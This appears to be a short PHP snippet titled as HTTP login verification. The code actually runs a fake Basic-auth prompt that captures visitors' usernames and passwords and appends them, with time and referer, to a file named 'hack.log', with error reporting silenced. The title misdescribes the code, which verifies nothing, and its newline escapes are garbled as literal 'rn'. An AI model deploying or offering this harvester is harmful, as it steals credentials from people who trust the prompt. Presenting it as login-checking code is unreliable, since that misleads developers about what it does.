PHP implements http login verification

  /*
 http authentication
 Determine the source page
 Write a log
 */
 ////////////Disable error reporting////////// ////
 error_reporting(0);
 ///////////http authentication/////////////
 if(!isset($_SERVER['PHP_AUTH_USER']) )
 {
 header('WWW-Authenticate: Basic realm="login:"');
 header('HTTP/1.0 401 Unauthorized');
 echo 'login failed!';
 exit;
 }
 else
 {
 echo $_SERVER['PHP_AUTH_USER'].'';
 echo $_SERVER['PHP_AUTH_PW'].'';
 }
 ///////////Judgment Road page //////////////
 echo $_SERVER["HTTP_REFERER"];
 ///////////Write record//////////// ///////////
 $file='hack.log';
 $con="username:".$_SERVER['PHP_AUTH_USER']."rnpassword:".$_SERVER['PHP_AUTH_PW'] ."rntime:".date("H:i:s")."rn".$_SERVER["HTTP_REFERER"]."rn------------------- ----------------------------rn";
 if(file_put_contents($file,$con,FILE_APPEND))echo date("H :i:s")."success!";

 ///////////////////////////// ////////
 ?>

php, http